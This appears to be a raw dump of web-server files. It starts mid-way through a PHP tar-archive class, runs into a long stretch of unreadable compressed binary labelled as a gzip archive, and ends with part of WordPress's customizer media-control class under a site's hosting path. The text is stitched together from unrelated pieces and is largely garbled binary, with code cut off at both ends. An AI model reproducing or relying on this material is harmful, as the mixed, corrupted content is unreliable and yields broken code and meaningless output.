$i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK9m%[+. ova.tar.gznu[} `cU0*(eQ>MLZfOi.Ief/Kàl*(*" Ȏ,ʦKML{ι{K, 3"rjo(,2KR"BbT *#.XR11FD3Y,qD3 - 564 )o*Bv@9X)eR0'NS"ձaj,qQiqtV୼PJSщ&:̥0.Mqb1a)r')BHQ`J8 @ @4a 'C"`h4 f1/synVlB^ yT8HY(І/g޾Iho1T S3'svVƴVVx"L=@?3%AJ$[?[uE"8, -J-F, (.8)Ui2RH1FB?L F@Ѽ @y [,3aiP0F:еs][|%NbXN1d(3tmzhi/Gw Bw2HV"ʅtlo}f'ʒ,`Z(y*-n*hصb9!E eMB*2$ VҷeDg**:\@U $5Q1 6Gg:B_L}HL4iH@%t U! pZ~v:2eӢ/"]uZ6u̥jPƼ,5pFŚaUY] DoIo>p:/,D%[ٕzLG<Ȋ ؠjUNet rAm-»VHh gJ55ѯ9xrt4OG4X):3/Uȶ:-|N7:.: vm&c: PEy6ŰUWC q5)"VIT*E5 >Ş?|Gb;g;>v×^lk;,O楗!ߦDsW?̜-ۡ]am>c7p;qG}qO9c䊃?7{gԹu{u~ Gggn~GْKM[k?2w)<}C|uksyc矼gz;yQ~gvO}h8=/+c<.Nkߙ#}Wŷ}ɑ>+WǞ}L3o+_4>>7>|?m{iD/?.;/ԽG5_Ot_:T}F9ݿ<7+8|g ME=b>͇?yF ?or>3'?m֣.vIw7~OGty~cK0p_yW/qWfx! |?}}$_dgÞv>{?rR賑>U~'QO_?l_/8\{m90}+:p/'NY~?:<`G>~?%ñ舶?rs s]Nj-#G?ӷD,ow%9pYwrcwD; X_e}S?|t`􁳖=;0ϯ_vӁD.^}߭|>۟:jwzνC?et9NK7-{=↣|_?-(:r_*$9+:?i0[^꘣u5+־ooㄮ߽33~?k)p^S&gl7tcop\8sݽ?wȿi?{f/m.˭g~w}g[򒶄/vC :s?ђz<뀿6ןvOo{=1d?xgwto/-I3OqcWion{.3|}|C{_=g:#kzaI5r7^\g/m=cᾣ4|5/lH; i~K67w>ë.O?[<=K=]]^8܎[O~"5ux Ԯ{_?}x?P^߻*_5p>g{;~E=~;uщ}?17rCGOܯkgXqm>Kݛ˭߹G>xl»w{w]vpi-Sw#>4##́_zb{W`_|g?~`xU.}+ _7Mw=պ4E`>y%|6o疞['}ԏxGgr/mnw}[̵HE4<=6]h)D{Gyst}O}OTxwGү}k?߼̖GO8:'L*jet;ݽ߆$ľRi~1_g)~!>y~ ?:6av H$,.0@ބNփO%V 3Vɑtiɜb9z $; Reh7 fQ k6$C"b,@Ss HMdF'K @k #m7TQn'$Nߎm7!˷on K,ΦPJ2M)HDsl „ M2A9xAbrz<"A6:Ca=/v2/ǀ}8 Ʌ(rl\d 5M1yXVl礲b/V7(x!Š /C)jFo'$4/8H`Q%lϡNp/ j S:=*bqYJ\"sE2C¿HUTXSLP@\,Ǩ cgq h{1X ͦXPȚ5 ; |a3X', ٚ&T*({m 2qw-9?LP~(J ҠCm) j6E|2FZb$F 0NHa:9y =Qu0 tNX/M @wBaDXE@{E:d@ؠ& ( LY4c EB ,;K2Xgy0 6 s V6L-za_@j:-ϟHII͆]%~ EA: z8  e? !fds@ohhGBM!dQ!|%+ N-#Pgw`StlF6妨R6;upꎡP3>!D&M]1F3c 3; *?w&oXJ !#F.S-,)` z܄| o3tx]*4dyswe-`05W6o7f _tLԯjjː(dISt84R MiK-JoGP|g.@t@2aQ%@;TCSl$-NԘx`=@3I1dg)E4niPTTJIu PK1vP"R7f@"7FS,/l(HVP,ؕQ0 (QMc2[Y[$OpI e: ruL 0:U f%"Рk5Db ./PzK~hCԈAۻzCDɭR)#P(hh J6`?`;x] H0.WɈ=V+G,IZHPЁl{XU^fHxE*[0TF"n f\h߰΁Tye c0#,zN rR FوVF3 ~ix'l!&Po zF{x74&1]Nssb1%` Zxx m[w?;,mmnؾkP()3 R<敘V vE F1NѢj1YfY4ƈ&ČlN}b-”QA2w5AUL2x!O*f-X)l v5>[aHIK# )48#ǼUX* HIpخ4 XT/^SORL.D/ZRd Y8~f 7iI݉'}܁pQLr8X@ظˍ8B-9b$䛡Ƀ`%$,5*Mlk4~(OE(80ȩҒFCغ 2Jl1P9&M3 BDXYZFs%lNF!h^b*6Pʛ [f5W25(+ ocAS J( NhUz5'd.MrZP-ˁ(<P6_ ,Ƥ`t9.KWZhŗP94zYLr@ Ph_oYJ ,&dhĢX-0ШKf(lKŨӊ6/.[ d@QBR;!LM?˴X5UPcQ㪅WujX._UWƮGCDTXPXM (%eQ'q-JX@`XUgdg2h:V-. :QR_K~'Šp6CJaHA7F_ #pJ'8v@ošdvv'( e=[bm"`/vG@L7ĪYR W@ lYhm p\XB)W e36e ⭵&0 M!Yb"!ä7qȯP4U+犘6Uy)ѐ9&; m^ϲ< nW@x@Z @fl6-YwcTDAVǂ Ph[ldZ+ӫDwm'# l ([{bB|APj4BC"SMh`)w'ӻE\q`e& DD!mژX`&ʊ w@d̈́vzZHó vE4܋#$Ƥ'biPk\A+lEc[l悡 w'fcH ^Vд&u."' Ż\6DW5 hhKLX"VD i9\ʺ G$P2u4U8H'ζ6bDlPtY +@:H jYV5Ch"EtRK5a-e5 tV nkÆSpi!ڄo'(3jn٩а$Rpz䑄 nB? ͠ņ2,`HQS*WƾFjGK`4%;T+Z HB3ʬ+0#hjVs +@d2-N +=$w@nf~܈8Ok|ZACfWa۷?޵xc[QÃ"!`?q2\N@,cJ"k`LAMb޺—§: `(s ۤ!&RЪBUT]멜0ͬ./qPoC&R8:oTŗ!#FigbM̍49DeAK‥Fb;A8*#YTL-$Da+Y$4`1Ǣo |Mn]F=0njYd45(s#O!=Fy΋lokd 4b--~|-M$tgctQZp-V X'*3Y'pS@ōNxb)t [P lǢaE44@[ؔ,3.` =Yc۶Un7>B9BMn-l*ɀ/pl(,VIHT_NNuT <7nHtb#|'@H5u2(::tY .QRIэ_VT%AS\,ML !VN8,|HxivT \*BkT9v(NrԨ2/2s";1qj ʙ!]R-]wsq/1X5%ո&cNHx@S5;`Fά-V`+BF!KH$NlGBȁUlvR*/og"c.-l ;L|?C'$#*X-8t9U=~_/6!\ O)hڒTYI&0Ѕoꁟw^p8s9fE*-ݜ!y@2N (hTr$d-41̊u5:T6K=c i/:V۸_'7=^^遺K#afS:6ZuZ;$ѴQRѩX ff/vJ5C119Uʔ6{&J6a搶*;nA|)*V l(g^1Agsa1VPM&k)f9V & "\r"N8E XfU}]16rDL? j&YP\d1,!|,cm3}r&&Vq3vBf #k9N(; xj$Y#0AhsG4;ay/wQq!f&nsi?>Y6Y[4%dFع!Z$> ܀qƦq82Нg"[MY(eF" V):|bj0 dVo7omt;zG2ΑnƵ8 FF<#Kδ?䆭y@a].zTv]pY~phg/}i&4Y2šЂ78&ut!0%5jr3o5uG9Yp#)w.!3X_19;;em[ ɡ2î8#,xi4Tn #ܰ砌PwZo*CgL/e&3Ӄio!Liaf*DRbij +8&8;̏>lYꝙdg'#Flq?41>hf&Y Olۓvr?dMG46O%gr3x~4 2CKl{lZþRx2bd#w'&~na0Lvv'* M&++T溦-vRRTl!Ro!5n-B\z4 @> 6Ua|v꯸ @6#ʀD|Za )ek ~UUoA0V@.'+`oR6kU5&ر x"u OUxD&vM{&FãCĠFѣN*)hNRh(,]p7JnF;QVMFMT4ٿFpV4ZgiwEA]wa.f?^}yc.-1׎5f,n(_E7Ae#^8*;2r^) /wPh +)% @A,GkL䔀<#a}DNj"T^|L+*ڵd;ffY~F|k}fI[տ1^Y3ߛ  J+\y{[hXCYYQ t&fv4wvA-bD*%ӇKkF'!{u@ #PR$ֲ:` L$V+! `8cxL!65"m)w`@#;VA FaAǀDBJVYՓXa%=ZtNs3܉24|Xs&#C;/ ZDo/@wà'䡦G5nN]超z 4:F7Ud;d:]hNU*Up+^$p=~tv5e|p%T_R+2mJ!h*X>\%z ('n/oR}DـDcƋ U2:Es>PD}zyՊ1LJiK?wYbT]ꪦ4k?Sb+i|BvC5T[1&hA>+pxjlZe >:ߣcR3.iTI[(L'GU .z zm V?g&cf9\) Og"8}vxX4&0Ua QCʞRI|e=Rv4f? U)ǥP |r G#VuI\ttV<2Z[LUˣ]A]ӲVjX݄KIF@ fp-\ߨ] 7bw-pY h>`<ձ 6fPÃ[$ג@6 ,e͘C)WMC ʛh#{[";Ȩ|%/9 X5в'1(X+/&4#nZ#@l TTDE8(Ht$VbVu9ߠ灾yX-MqMu1ާw;P 6 RKO=ãc` ž~0 bTvbj\vh/ ˗*<7!m5'V,>bJ&} XLÓ/=.թmT*R1XSN!YJM<kfkǎMێhqX3J=ta 슀Yow'&bd: )l 56޾&&uSW&n u%>3IY*=T<ĔڵRTMV)aKrJg.Sȵ5- 2CK 5Fr`f 3@ Lh)vUMC< =iqFslO[[:p'Nt/ٞbiEet.NEH!TU|NW߲Z׫Ɗ+Ҹ|.oP_OwwG(fB/Qi9/w*-"p\:}_ ,.Q,XAeq>JXE O]Qh:hxVC(I h8Vbydv$*H;2v\>oO/Rt:FeqnNI(6 6F%I"v4aw7UEIS*l,k 9AlC6~vh[78xk;}q -q{8f:lK&R1O|$ 2l߼O\/@ov&B3Bd2柘{$g{F"~79|94hkuM6fXnR!Bodq2@ޢ7sK=}KHo,e-p7OpFKւuqch艛ӭh=L O"lח,'2!L c6qFzG\K :0&ZA{@)Bn7zC4:ҕи{b/c/v)0=Tw̌2 \>k-H&cmԈk[Gћ o- 31;fbfh-! {LKtkrN5<Ƈ'}(CFiOY5L,;HBXi嵎%Vz0/M t' -<4[rS176` [4M zI͸vi MObi[m%xySa\7&S˜#TO }|jz&|d?늵9&:I%H]Ȅb>p:Wr lg{h3>]%3t:9?LNgf]X_'& d8f'}@"K){?+%?VLKadp7G&D?̏3w̏Ǹqrl`#9`qoPMt/\$3/iW⊩BdЛs1/Ӿ?n $g&ݡȔu&4Lqv0XXM ‹mc'L@1eO{Ʀ7<\nc`iJ1i=>vGQrRpld60$%3_g`8;L5t?&YΔR{4=m =B0-RPw&!LxhfgBpiˌRt>I. t7;0ԓ Cd#C"G-&>= `0/3E!{#Iǭuf*)z}I>bϏ${#3k֞ Ocr3 G+X\$ЈZ̏N{\T4X 34DM{!g*~ό-iG?2&l \1)22d㼍Җs9!Md[ӣ 6L(b46ˏNt q8S}L*ީ\ gm9m3E>>bԨ!K1m0vgcޱy!56<e"Q-9(w5Dr!p6fѢ 䩉X8Mylxu4Z9Xǚ V6cSPSmd,0np)2ҟOpq{u }\*s1Ocyw1\Ks~XGgi81LkۂYm=Lg{0:* @4:EgdAٻzyאMws>4ZBN{~t!eO|;?\pF]S?r$i ONpi {&gάLz\> Eڽ8dg;M3#Ps Vokbtu=`kh>{"F P_HfS~4; RoqLh m ?JG bu^X(GãST].N.3KT_6JcŶlwq|MgG,:Jb:6f7a{H>Xg&xSLfK}X$іd~W<_LmsSYa0㡢qG{bDNf\AG|oF; Z` Y21Z졅Ĥ)=hu5%flTn BSlB49<Ji>j<{+3ip"c&5K`0i.`abY$bNk sd-r[10;=9™I6Tr&Ñtfv8㣬ך T+3#9.#[9#L䨠56lw{'V0E|"Z}mDh[sӺ[60O:g1{ m*mMXc10Y m3&0{g34z9IqoR u\_q&G/xљgۼcaӄ70ey7mCօb&`}%kpa`ky}VOO[֍Xo> V$ ?Oz|T cɏJީpOO%ڦ#@7RD2I ùҤ6^_K%C%-0zԸߛdv;ߖuΦM^x{1 1VA)%.gȺcN0K[{PP1E=dN:HI&|[Йrs}` }3E+bP-R& aP?ǧf#IprGD. cG~<LNNy4uLSOW[ݗ ΚYqwS%MP40N&s,o5syjf` ,?>;KfrT_nt8Qiarzf9Գ z |h b( {&}IHG#dbJdK6=}ݣ0(T[31wLۢ}ف?74:̈6 pߝ c R3ݣ%)OB 3E]=3#\,8" xЬxChWZB}!뾐u_Ⱥ/d YB}!뾐u_Ⱥ/? '~? w]}!ΩȔ5kb${d@1%W+pBDbɐsw|v1Ly'c;v$P 'Ťx-\p84h5Vz 'R&pى8:ۖь۶DL/.Lb1? 6g̝hV3qKzܣ@.3m_1nL VA.futX.819H3/yrLc&K0ff:h0otH-;>?궶 XPlQn4Uhfg]>0 )-Gk=m[Qzh0] Oɬ'e3Q޶Rƭk =mm"(3z!H7Mh .Vh<X❮"hct:#mߒY:˚<=e@/ m0],qLɌ݁YƂI'JƽR۰0i_,Mf]&mw0vƝb=$޶YG,1` | +kaե ɛֶԼ;bpd E"ቩͥfm!l!wi8#:;^ÀP2~Aa,rgOOM LY[WogC݃Q g&ܱX:=For/8ّ"džcG Kd$38ÔunzBwH©GkzƳ]autfҎHx!h8o5ʎdBo_w-Ö λt֖cm\+xgyo`0ZOC==ё`0E~/՟ LN,eNvfgK~vuʔ,|9fv:0:J 0ݷ=w-%r^ |iqǼHBщ!wL )i3T& >Qb7e">IeȁNEllC ~( i !S#fI=M%+NBڪV!+69ygaOjm Y+peP _W)цC,:j&*2ƣ2R, _뒎ؚMeЈ/*&284A/>ys[RbE&~H[{C>2axCMjXg.HFŌjw+ Մ(J-G &"j ]#R`01Pab-ruu0% nO`p$MS&-jEYY@;Sf^_*PD 9HAۡ2B.P˵V̩RV 1HI ^W e2+ab̡o360F):D!(4C!&b(|9,)V1K,ΪYO3dh|*HlMXӃ8U'TbXIe(zAjMzp9Wfe,PcI5 r'"WUo6bM#_2m^WU^nP(f\` B!|  @M!Or#*T0`EmP[u;ժI=A)\`1Vs-"JAmhbBIvO{=V:XJ* ;{t\$prz@~n6k0{Uu]=`U~h31* XRʿŝNH C:[ u3D^c/8m5VAKmHnu A$0Kbi-Z| B`sAH1Qn(/#Կe vweֶ dA%<@ >xVMQ&hAeU eHl9ZJeg9Xٻ[TFZ(X 0'ng6ULOx&v[HSzxIt*7ŸPIxEl-2]\4(1r:[kE ⊺z˩FNJ BW\I%B/I zi]3IrG~*% Ǡ:L FXPGH+Vc m^T;V>!u e`!(S˝%oߧC b2)jB&;Wj@j%f['$l1 4xEe,Y vRf!\N&=M.M< U0Gud\9iYYW'=lj2]vIGGuɧf[kk[O}X~S/5,Bg1Ėl 6K1z D  1u"+Q GLXRvPqΪ\l<УqYlj)^| &pҨ,<@]Msi:#?uИKmPp_>OXKW4G}SnJC65͒I~LzБ<:āʳThڤr`l 3R沟IB1lR$jH<RkAUlpmyhS[Zh[5882 ~v7άRBbQ QWb ekHFZDSNZhUQ=ӺPZ7>a!,G|?kFP_ʃS-e8Wgzu7 XM+ܛop} բ5г G$ eZ #WSC0ˁu<ě"0X`^.V;:h/?P2 .ur.&U~eFl ,I2f"aUFdK`mBH. ^SETv-V Xp],ΕH 5Nb=ChFrl;$ QKE}OBd<އS۳:O>ɧmo\՞)![UCxpk(zѕ'ds3v2x`bJ_x:!ywN_;8**XaOl/s[uM:հa!vӊoU%Ɨݭ֧ۚN^*5vO3NJUV+rmةsTsAVq(a4pʁh8ZVjq9t?c2@gIN@\m/DF T*VI\4!AFy6B~L{|'f AJmR 蠯8qFLa aw)o _uӊX>x p`at P+4ȜOkn>.J2/DEGLV"ЀʃU> ,uQuG+cQ;R)ޕ`*,2.lUӁ1_A*RlKc3@,$nj4WY.!-Ws85MH">\QaUS1ltPU)BܚtI(Ft hS [Ȭ]'Q1lzޭnURTVm1@#:TRMfiYL3>HF9aw猠sYF KQ {5Iʑe><;]9.?y,o4ƶסv7%0 yc`dX=ɿQ%D %)\L(kQLG|UXpgRWI!힨#'ZwHUj}"hv /M{bJ /Ť@rLugV*еʹ|-8]J}iɦfg'Ѥ#|.CC^BY&ی(."<*&T/R:bZ~E $.227]bX^X! d5>D$L`nn+8(9ω_ $/ td(kIu ,S*BCol` Ρxdp6#@Y:gp6ŋ m 5Kj7)A͛|\k+eO@+SˆVBI:='?uh&,h[P="P4Xo\9.۬@ Bצ+*UR'A3sxFN~>~5TOo;ѴZ=VoNI&A5mf޲(]MwQ! Yb*0٘&*KNPFȡҮ9@McV]z53m#>%W#&,P*#,ewU(GY|N`#$_T ثN {,FtJ +ѰCyRJj=F(Ce/UxT0Ӓit;o0+v46p_7[kڲfK:S7+>]ϵzI+$eeūJQ^˃S0Jڎ;tj`kDZy\B" #7?/jUxTdA&7ɶ\5W8' 1+d$` Ek@O Mf;[Lܒ[(q)|4Q)$^+phVdT ۃu5p$WpEEǸ+*SS2gNPd9 _wO 084<'#S3d4=0lv\P,-i  f33q32H3mQfau?[-):)-è u Mi%0A!|hI0AĈ.زpf?R)A `M ; X,pn ~If;aosr9Ho +9 e Mn)!'$䔒rCRCXtfKJ l)"r`%) @#; '`Ԋ`ׁRN+-ףM-D@@nF*bś~ΕqMey PT H/b_$MjX2p6͸+_I3|;idlBhvA;H bb 5 blqP(X N % 넿C lliA`YmGӎ2r Q]$p+`Jh)i䂣8LŪH4kJ*ʊaZčۀ;ZZd(g-bΣx7bv foKon44M %>Ɓōޝ.%δ^p E7CTv_`"l^05&JՌVTUUmj"y$}3; @0V7Z5mL|Up|ń"Q,Fe4=+qO f=9VHMö6oCo`zQ Gѵ.Tlv`2vC hj%ܦjo>E`^0B]k@bhV,M"1C6577+K&!+3ldzLɠ r՗=ԡ4&GvƩh0 n텗[V*-rs ύupc&k(0.nn£V+H ΀pQxYueJ7|B{ԇLF0?a%Tdb; I_<@cCBQ6UhI>T]qÂk1y b( =*hD͠0lJwAMD[<(0"ț}"Ǧ("b4OxG1Mly'dзZ… R=#!`<ȡXk}7 ! ~K(4mrEDMN1~X^HK40*Π Q*`ҡE- 9һ\8 [0lU .^`׮m2yAP&KF.*FA9^j\͵fh'gu򛉆F0|k<dʢ(Y*}QlLq4̈́fd :~ڴ5K\@ F̓;]b]ddtay33gf~a1 sPzcfব%Pz+o.V\Ԩa 2U)zhdqRPe%=Xj?pc4HPb7IA3;4M.QlB]D0*3FcfH$dlHXKܞ;Hp7<פ*V+a T8kY\/%C$W)D5I"laMfޓ6͝ EZSSEueÛ͊CPv)U&]~M̐n3JA+ײyuVUҔAӪzV#* *Q U)YK}%xF'J%D(XSDL(ñFVvgv)_gTX_VFjͿZWĉBr͋1(*fJM MjeTY,Ք^ ]}S-YO Ƭ2U;ZE9L5 =qý tohjP&fy:-Fesv&c"I] 6X8fS$G= ; fF`h,Y~ez pv!%ƻY-Ft R!-(`ԗ2+^,Y\ۢU2zJdk]jNY'U3Ae)"?^+1N:<9V]q):. Y&e ް ;VԻNk G;R2FFU<׏׍ #ʠ5](x@c`q2ҀU`i=fWi&*Y0|KɤXx~ l$f?՛01NŐL,/*7DeBl!PU9)q+'+Ih*5*G) 3b؝%+"[-$:q @*U686($ؕd_3!a( 4[jHe+ ]P|2X pW4FYV roZ> gJD<0Aڼj+ ։h!T宆}̀*d1Acn\~g=i][#a=0s2=ߵvB ѠO;x *IZqr5#Am nCbj S. _T[v7V&eƂ"vO'@OJ5n)`*vUj ̄2c`.c18Ti/iWLzmFQC+em& ({% //R՜+2^.אKK858W6MLSUr[噞ׇ*/?baW )8 ,ҺK^`F3Ʃ8wJl[na#^6`%Ie JX> 6kAjMI/x[Amx[l͒/{+͝PX5j}ʮ PYdĠCGG CޣshηƗ:Y..A͒c Bs{*䊊8[h 2cNĿfm%6zst|Krl./T K$I&[Vғ!tJ:GVV\gy !G`H" TIL>u1UxC= pK?kB@$nORC$re  AB25[=դ[k>MUB Pj؆rS@ ,l.E*B]TyuIW+ sze(e+J/uksKilJ08((?*vRQ׶=G5Ux*[ւi&6//r=o+ P6kFT'8UͰà Z~k-ۭz6j}^GF;WVVmf'2hYsPHUxeU\UubYhx4W-pxkGmܨ"l>b!=+`D"sd95j r!A թx W9r!WJP]<Ҷ*2qFJ61[FеѮ/WZ1 ɥlNT&D1+$vqĢ|Co)$5e+QXQmB֞Ri(Kv|91\\SQB79CRA5p–~KF@){sWw+6芕ŕPЁH”ԍNHMi]jVRC`0.xA,׮إ20gX{/|іB%6̸,P-1|!FL6\6 =nv!loZ?9 4vRD帼uN'w-L $fb\⭲XkjwtZヮov0GM7h'䔹09<P: M)\q7Q*XH2"\~[7T"4mYƤT'QW&/C U(&B vnk'J9ey(_JqEۺ!^I cL:"6`ij07,!Wp3<4I F]`yvHl[ xYUCY0„m"TWEve#+kW( xfU3Sx4zL$5[::`sb#]#tt9k jPliN'rzX GvbK:@SAI4EU$g\^ f`IE%[q.Qs\Qqe|Mg9*OS* ëbm3L:]En PH]D_ɡH:(=\C8 9l׮TZJ'xfPr3-}uq8šr\,JaU_5⪢h2d *g-VETQjUv%+e-|wuX#vOU| yV+$۪\:U?}5mPkzUB?7zI{]y:te[属iQp0̯~f-kєfCw 4/w.83˥?gcw-Uٗ+e\]r[lUd#~b[*~,/߭ :W7߄V֜ V"/ևԊCJ2+`U}~ @:t:m4CqFʩ-U (!燞1.۵~B|츔S) xqj\JD١Zv66+6MNѣ[iʃHnڶ[ *V@ e:#sa(7F2=8EFXCuI o-۹i/d=t/[TLuR%5d [ʰڊ 3ԜjKߥm֪%SV;:h-MER@Yua(3wKss|.Esi"V̋v@#CEDGΫY42jN|*Qxd£yh"<  JRY#dld fwtL2q4e]@ނeC(*YǢ'uEYU]b[]"7rwKJWmkm}zr=783FX/;[h={i:9Kna^]vh:m|ZflFb [6wCNEDIEhj8<_F쥣{Lcqʱ[(Uz׆]b?gj'$v]nù~m|Ľw=;}Eއkv3}LJw_ԉ/O=;?'O[Y~n k1O|/μ~?.n>??7Ʒ$?y٧}{p#:gxW7;}Oyزmz_}'?夝kS#/?Ϛտ}[9?^/<ѝm=Ǽ{7S|sB{<~.>{~Ǟ[|uOpሱG9Aa|{og~wu /,&/8 ?~E{J_㒏^w 7G1y= _n~azw>t >~ё#?ԗ?}˧s䇏y7|aX9䠣W_UW=W>g=a7}[}>7Nm7} ٫v[_~K5S_z~7w/g+ٙ{|=qƫ9ZX|So6= ~ߙ? ް^}o\r扡qS䈋^~}Gw9G͏ܶg ǯ7 TKíUwO|O|=sݦKqbꩃ>s+vt GQ}Gc8䁿+ y1gwr~]ygxՙdsNyK3ѓwgn1v < Oyׇ<;<~-ӯ jOhܽ>7){sQM_{jwwM;_~ӷ'J{.O~K7>e8 {58~Rc.x==wіM/3۷n?S?\H=ȅ䖳KϜ`g/gr}epoD;=S.EOmm|_K?eWz^xP|K/L}?>O˾S]%dz\o_>vU»_㞯PNeO?]8;qo-}}M?M`AW?B?޳m5̞Qǟ5ʇ9;ս^?3rɿ{pEG^;>4YmdC/O_?C>6/rȯx2{Z<]1~Ãz>н^=}7~wZgo.sk7wvv|;=.}_x''_?ѿl|fK?o<[oӟ o\rكot }ȑ-P۾DOiz᡽~_־O3/'`~O`:M]Rz( 8__s^q~g꪿nzlO_οU+yugi3NQ,ѵ4%U,fɺ.Ҩk[k{ĽX cd([%F]DҨo뒺fQ,ѵ4O^Y<-uKcX4-XKQw4tS'CQ,ѷ4%U,fɺ.Ҩk[k;J՟˘: U,fQ,bi5KuIF]DXۑ4VØ: U,fQ,bi5KuIF]DXۑ-uKcX4-uKcZkz0NBKYoi3KXu͒u]RQ,ѱ4<|vҨƘ: zFDҨsYΒu]RX~"6KcjS'CQ,ѷ4%U,fɺ.Y4vXwOj',z>]Ҩk[̒*F]d]hiu}KgW-WWØ: U,fQ,bi5KuɺZ{R;ygi*F]DҨgT4%H׷4%Z{R;ygi*F]DҨgT4%뺤FKYkiWw>cd([]KYoiuC KtuDҨoZ,Y3F՝QCAҨoZu}KYK-ݵ4kҨ4tS'CQ,ѷ4PQ,%u}KYoiWF=*F]dX4-uK?gi];F՟OJ^s-iw1u2,%+fʢYKj[Y7KtWN4.y_൒W#= o1ݽZɫ~_ۯJ^ڶj%}-|Ƭ~*Yk'}-5mmIrmIw{(0fmKz_3nWww k'}-{ycz~_{_ɫ~_dy}{MۅugƬa} *ȫ~_j{|_e=_;yk*[ztsYRyYsDFD_5K*=K*Veڱ4j$,z U,fQ,Y4-uK㭳4- H޺Z1ìzR[] Yoa7KuImf}Dt{ , ]Pbi5K-zfIKYKj4%5s誫?KC1u2Xu}KYRҨk-fw-jY7_-}c=[5Ƭ=Z竿~_vzWc }=ktDWɘ:qa7Ktw%;D͒u]R~$zaZ XZɫ~_gj%}m{k%}m{Ƙ15*ȫ~_o@;`g&>K(fPK:m%[K(ffova.tarnu[class-wp-customize-media-control.php.tar000064400000026000150565365740014364 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/customize/class-wp-customize-media-control.php000064400000022307150565364270026214 0ustar00button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() ); } /** * Enqueue control related scripts/styles. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. */ public function enqueue() { wp_enqueue_media(); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['label'] = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) ); $this->json['mime_type'] = $this->mime_type; $this->json['button_labels'] = $this->button_labels; $this->json['canUpload'] = current_user_can( 'upload_files' ); $value = $this->value(); if ( is_object( $this->setting ) ) { if ( $this->setting->default ) { /* * Fake an attachment model - needs all fields used by template. * Note that the default value must be a URL, NOT an attachment ID. */ $ext = substr( $this->setting->default, -3 ); $type = in_array( $ext, array( 'jpg', 'png', 'gif', 'bmp', 'webp', 'avif' ), true ) ? 'image' : 'document'; $default_attachment = array( 'id' => 1, 'url' => $this->setting->default, 'type' => $type, 'icon' => wp_mime_type_icon( $type, '.svg' ), 'title' => wp_basename( $this->setting->default ), ); if ( 'image' === $type ) { $default_attachment['sizes'] = array( 'full' => array( 'url' => $this->setting->default ), ); } $this->json['defaultAttachment'] = $default_attachment; } if ( $value && $this->setting->default && $value === $this->setting->default ) { // Set the default as the attachment. $this->json['attachment'] = $this->json['defaultAttachment']; } elseif ( $value ) { $this->json['attachment'] = wp_prepare_attachment_for_js( $value ); } } } /** * Don't render any content for this control from PHP. * * @since 3.4.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. * * @see WP_Customize_Media_Control::content_template() */ public function render_content() {} /** * Render a JS template for the content of the media control. * * @since 4.1.0 * @since 4.2.0 Moved from WP_Customize_Upload_Control. */ public function content_template() { ?> <# var descriptionId = _.uniqueId( 'customize-media-control-description-' ); var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : ''; #> <# if ( data.label ) { #> {{ data.label }} <# } #>
<# if ( data.description ) { #> {{{ data.description }}} <# } #> <# if ( data.attachment && data.attachment.id ) { #>
<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #> <# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #> <# } else if ( 'audio' === data.attachment.type ) { #> <# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #> <# } else { #> <# } #>

“{{ data.attachment.title }}”

<# if ( data.attachment.album || data.attachment.meta.album ) { #>

{{ data.attachment.album || data.attachment.meta.album }}

<# } #> <# if ( data.attachment.artist || data.attachment.meta.artist ) { #>

{{ data.attachment.artist || data.attachment.meta.artist }}

<# } #> <# } else if ( 'video' === data.attachment.type ) { #>
<# } else { #>

{{ data.attachment.title }}

<# } #>
<# if ( data.canUpload ) { #> <# } #>
<# } else { #>
<# if ( data.canUpload ) { #> <# } #>
<# if ( data.defaultAttachment ) { #> <# } #>
<# } #> mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default'; switch ( $mime_type ) { case 'video': return array( 'select' => __( 'Select video' ), 'change' => __( 'Change video' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No video selected' ), 'frame_title' => __( 'Select video' ), 'frame_button' => __( 'Choose video' ), ); case 'audio': return array( 'select' => __( 'Select audio' ), 'change' => __( 'Change audio' ), 'default' => __( 'Default' ), 'remove' => __( 'Remove' ), 'placeholder' => __( 'No audio selected' ), 'frame_title' => __( 'Select audio' ), 'frame_button' => __( 'Choose audio' ), ); case 'image': return array( 'select' => __( 'Select image' ), 'site_icon' => __( 'Select Site 